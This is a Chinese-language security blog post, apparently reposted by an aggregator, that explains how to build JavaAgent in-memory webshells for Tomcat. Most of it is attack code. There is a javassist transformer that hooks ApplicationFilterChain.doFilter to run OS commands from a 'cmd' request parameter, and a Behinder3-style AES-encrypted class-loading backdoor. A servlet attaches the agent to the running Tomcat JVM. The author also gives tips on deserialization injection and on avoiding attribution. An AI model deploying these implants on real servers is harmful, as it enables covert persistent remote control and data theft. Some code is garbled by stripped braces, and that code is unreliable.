Java安全之JavaAgent内存马
Posted Zh1z3ven
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Java安全之JavaAgent内存马相关的知识，希望对你有一定的参考价值。
Java安全之JavaAgent内存马
目录
Tomcat Filter
水一篇学习笔记
看网上大多数文章是去Hook的catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter方法，因为internalDoFilter方法是自定义filter的入口在进入internalDoFilter方法逻辑之前加入内存马逻辑是最好的。当然Listener的话也是差不多的，去寻找到Request生命周期中最早出现的点然后通过javassist等操作字节码的技术去加入内存马的逻辑即可。
Behinder3Agent
下面来写Behinder3Agent，这里依旧是选择attach模式。当然前面肯定是cmd的内存马，但是可以用一个Agent，Behinder3的只需要改一下transformer中修改字节码的部分即可。
package com.zh1z3ven.Memshell;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Behinder3Transformer implements ClassFileTransformer
public static String ClassName= "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException
if (ClassName.equals(className))
try
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(ClassName);
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classPath);
CtMethod doFilter = ctClass.getDeclaredMethod("doFilter");
doFilter.insertBefore("javax.servlet.ServletRequest.HttpServletRequest request = request;\\n" +
"javax.servlet.ServletResponse.response = response;\\n" +
"javax.servlet.http.HttpSession session = request.getSession();\\n" +
"HashMap var5 = new HashMap();\\n" +
"var5.put(\\"session\\", session);\\n" +
"var5.put(\\"request\\", request);\\n" +
"var5.put(\\"response\\", response);\\n" +
" \\n" +
"if (request.getHeader(\\"X-HTTP-XML\\").equals(\\"application/xhtml+xml\\")) \\n" +
" try \\n" +
" String var6 = \\"ea298159be8ebd1c\\";\\n" +
" response.setHeader(\\"X-HTTP-XML\\", \\"application/xhtml+xml\\");\\n" +
" session.putValue(\\"u\\", var6);\\n" +
" javax.crypto.Cipher var7 = javax.crypto.Cipher.getInstance(\\"AES\\");\\n" +
" javax.crypto.spec.SecretKeySpec var8 = new javax.crypto.spec.SecretKeySpec((session.getValue(\\"u\\") + \\"\\").getBytes(), \\"AES\\");\\n" +
" var7.init(2, var8);\\n" +
" String var9 = request.getReader().readLine();\\n" +
" java.lang.reflect.Method var10 = java.lang.Class.forName(\\"java.lang.ClassLoader\\").getDeclaredMethod(\\"defineClass\\", byte[].class, Integer.TYPE, Integer.TYPE);\\n" +
" var10.setAccessible(true);\\n" +
" byte[] var11 = var7.doFinal((new BASE64Decoder()).decodeBuffer(var9));\\n" +
" java.lang.Class var12 = (Class)var10.invoke(this.getClass().getClassLoader(), var11, new java.lang.Integer(0), new java.lang.Integer(var11.length));\\n" +
" var12.newInstance().equals(var5);\\n" +
" catch (Exception var15) \\n" +
" \\n" +
"\\n");
byte[] bytes = ctClass.toBytecode();
return bytes;
catch (NotFoundException e)
e.printStackTrace();
catch (CannotCompileException e)
e.printStackTrace();
catch (IOException e)
e.printStackTrace();
return new byte[0];
因为tomcat是jre环境，而com.sun.tools.attach.VirtualMachine是JDK下的类，在Tomcat运行时是无法获取到的，可以通过反射+URLClassLoader来进行Agent的加载。
CMDShell Transformer
package com.zh1z3ven.Memshell;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class CMDMemshellTransformer implements ClassFileTransformer
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException
className = className.replace(\'/\', \'.\');
if (className.equals(ClassName))
ClassPool cp = ClassPool.getDefault();
if (classBeingRedefined != null)
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(classPath);
CtClass cc;
try
cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
m.insertBefore(" javax.servlet.ServletRequest req = request;\\n" +
" javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\\"cmd\\");\\n" +
"if (cmd != null) \\n" +
"Process process = Runtime.getRuntime().exec(cmd);\\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\\n" +
"new java.io.InputStreamReader(process.getInputStream()));\\n" +
"StringBuilder stringBuilder = new StringBuilder();\\n" +
"String line;\\n" +
"while ((line = bufferedReader.readLine()) != null) \\n" +
"stringBuilder.append(line + \'\\\\n\');\\n" +
"\\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\\n" +
"res.getOutputStream().flush();\\n" +
"res.getOutputStream().close();\\n" +
"");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
catch (NotFoundException | IOException | CannotCompileException e)
e.printStackTrace();
return new byte[0];
MANIFEST.MF/pom.xml
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<!--自动添加META-INF/MANIFEST.MF -->
<manifest>
<addClasspath>false</addClasspath>
</manifest>
<manifestEntries>
<Agent-Class>com.zh1z3ven.Memshell.Behinder3FilterAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
之后依然有一个小坑点，在测试时发现一直抛一个异常：
最后发现应该是MANIFEST.MF文件的问题，通过pom.xml去自动生成的MANIFEST.MF文件会默认多很多东西，比如下面这段报错应该就是在MANIFEST.MF文件多了javassist依赖声明的问题。
Exception in thread "Attach Listener" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(InstrumentationImpl.java:386)
at sun.instrument.InstrumentationImpl.loadClassAndCallAgentmain(InstrumentationImpl.java:411)
Caused by: java.lang.NoClassDefFoundError: javassist/NotFoundException
at com.zh1z3ven.Memshell.Behinder3FilterAgent.agentmain(Behinder3FilterAgent.java:11)
... 6 more
Caused by: java.lang.ClassNotFoundException: javassist.NotFoundException
at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:331)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
... 7 more
Agent failed to start!
那就需要不通过Maven package生成jar，通过IDEA Build去生成jar
0x01 src目录下创建/META-INF/MANIFEST.MF文件，填写好文件内容
MANIFEST.MF: 依然注意在最下面多两行空格。
Manifest-Version: 1.0
Can-Redefine-Classes: true
Agent-Class: com.zh1z3ven.Memshell.Behinder3FilterAgent
Can-Retransform-Classes: true
0x02 配置Build
Porject Structure ==> Artifacts ==> Add JAR（From modules with dependencies, 去掉main/java目录。配置好后通过Build Artifacts...生产jar包即可，默认会输出到out目录下。
这样就可以自己改动.MF文件了
测试类
因为Tomcat运行时是JRE环境，所以可以通过反射+ClassLoader的方式，通过反射调用com.sun.tools.attach.VirtualMachine#JVM pid)方法以及loadAgent(JAR Path)加载Agent。 尽量反射写好，后续改动到ysoserial的createTemplatesImpl方法中会比较方便，因为其中也会用到javassist。
package com.JavaAgentTest;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.net.URL;
@WebServlet("/AgentInject")
public class Behinder3AgentMain extends HttpServlet
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
inject();
resp.getWriter().println("Behinder3 Agent Memshell Inject Success!");
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
this.doGet(req, resp);
public static String agentPath = "/Users/xxx/JavaSourceCode/JavaCode/JavaAgent/out/artifacts/JavaAgent_jar/JavaAgent.jar";
public void inject()
// System.out.println(System.getProperty("java.home"));
// /Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/jre
// 0x01 获取tools.jar
java.lang.String toolsjarPath = System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar";
java.io.File toolsjar = new File(toolsjarPath);
// 0x02 URLClassLoader加载tools.jar中的com.sun.tools.attach.VirtualMachine/VirtualMachineDescriptor类
java.net.URL url = null;
try
url = toolsjar.toURI().toURL();
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new URL[]url, null);
java.lang.Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
java.lang.Class<?> vrtualMachineDescriptor = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
// 0x03 寻找当前系统中所有运行着的JVM进程
java.lang.reflect.Method listMethod = virtualMachine.getDeclaredMethod("list",new java.lang.Class[]);
java.util.List<Object> pidlist = (java.util.List<Object>) listMethod.invoke(null, new Object[]);
for (int i = 0; i < pidlist.size(); i++)
Object o = pidlist.get(i);
java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName");
Object name = displayName.invoke(o, new Object[]);
// 0x04 找到Tomcat进程，attach
if (name.toString().contains("org.apache.catalina.startup.Bootstrap"))
java.lang.reflect.Method attach = virtualMachine.getDeclaredMethod("attach", new Class[]vrtualMachineDescriptor);
// 这里调的attch重载方法，attach可以通过pid也可通过相关jvm进程的vrtualMachineDescriptor对象传参
Object machin = attach.invoke(virtualMachine, new Object[]o);
// 0x05 loadAgent
java.lang.reflect.Method loadAgent = machin.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent",new Class[]String.class);
loadAgent.invoke(machin, new Object[]agentPath);
//0x06 detach
java.lang.reflect.Method detach = virtualMachine.getDeclaredMethod("detach", new Class[]);
detach.invoke(machin, new Object[]);
break;
catch (Exception e)
e.printStackTrace();
访问路由
反序列化注入的话就是需要把测试类的代码抠出来，用反射+javassist的格式写一遍，重写createTemplatesImpl方法即可，这个就和该ysoserial工作类似不在深究了。
Spring和Tomcat思路就类似了，Hook点换成相应Controller入口或者Interceptor入口即可
几个需要注意的点
首先是注入的流程
1编写Agent代码，主要是需要先add了我们自己写的Transformer，之后遍历已经加载的类，比如找到Tomcat的ApplicationFilterChain，再retransformClasses重新加载，此时的字节码就被我们修改了。
需要注意的几个点：
1、javassist语法的坑，其实之前改ysoserial就遇到了，可以参照上面代码去写。
2、重新加载已经被Tomcat加载过的类
3、Tomcat运行时环境是JRE环境，没有tools.jar，可以通过反射+URLClassLoader加载
4、MANIFEST.MF通过pom.xml去自动生成会多加很多的信息，包括创建者等等，建议还是通过配置build去自己写此文件，可以少踩一些坑，也减少被溯源的风险
5、最后也没能实现behinder3的javassist，踩了蛮多坑，但感觉JavaAgent去打内存马在实战中的场景应该并不多，还是通过Filter/Interceptor这些去打会比较方便（个人感觉）
Reference
https://y4er.com/post/javaagent-tomcat-memshell/
https://github.com/IndustriousSnail/javassist-learn
所有内容仅限于维护网络安全学习参考
以上是关于Java安全之JavaAgent内存马的主要内容，如果未能解决你的问题，请参考以下文章